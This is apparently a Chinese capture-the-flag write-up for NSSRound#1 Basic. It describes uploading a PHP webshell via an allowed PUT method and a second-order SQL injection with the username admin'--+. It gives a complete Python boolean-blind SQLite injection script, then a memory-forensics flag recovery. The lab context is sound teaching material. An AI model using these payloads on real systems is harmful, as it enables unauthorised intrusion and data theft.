【NSSRound#1 Basic】赛后复现

前言

睡过了忘记了,起来都快结束了,就简单做了下取证还没做完(,赶紧来复现下。

basic_check

这题出的好,考察了http协议的知识,我都忘光了都,也提醒自己基础一定要扎实。

进入网页约等于啥都没有:

1
<?php highlight_file(__FILE__);// Welcome to NSSCTF Round#1 Basic, have fun. 

这里要用到OPTIONS请求方法查看允许的请求方式:

发现PUT方法,那么就简单了,我们只需要PUT进一个一句马即可:

获取webshell:

根目录读取flag即可。

sql_by_sql

进去发现注册登录,盲猜二次注入,我们先随便注册然后登录,发现可以修改密码,我们在修改密码的页面的源码中发现了sql语句:

1
update user set password='%s' where username='%s';

确实是二次注入,我们只需要注册一个账户名为admin'--+的用户,结合sql语句就可以做到改admin的密码。

因此更改admin密码登录,登陆后发现可以查询用户id,这里根据用户是否存在存在一个布尔盲注。

根据fuzz判断这里不是mysql,应该是sqlite注入,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import string
import json

strs = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@_.,-{} "
url = "http://1.14.71.254:28467/query"
s = requests.session()
headers = {'Cookie': 'session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.YklOVg.Pz554uNEiaxxBCpP4pm7-G8iucg'}

if __name__ == "__main__":
name = ''
for i in range(0,100):
char = ''
for j in strs:
#表+字段
#payload = "1 and substr((select sql from sqlite_master limit 1,1),{},1)='{}'".format(i, j)
#数据
payload = "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, j)
data = {"id": payload}
r = s.post(url=url, data=data, headers=headers)
#print(r.text)
if "exist" in r.text:
name += j
print(j, end='')
char = j
break
if char == '%':
break

这题主要是初识sqlite了,不过大体上和mysql也是相差不大,主要是一些函数的区别吧。

cut_into_thirds

取证题,其实难度不高,但是因为我的工具没法装mimikatz插件就很淦,后来用了另一个工具把第三部分密码爆出来的。

整体思路就是filescan找到LookAtMe.zip,解压得到第一部分:

1
part1:3930653363343839

接着pslist查运行程序,发现LookAtme.exe,dump下来strings找到第二部分:

1
part2:GRRGGYJNGQ4GKMBNMJRTONI=

最后一个部分藏在ctf用户的密码中,没有插件就用Passware Kit Forensic一把嗦,找到第三部分:

1
part3:MTEwOTFmNWI3ZTNh

分别解码base16、base32、base64即可。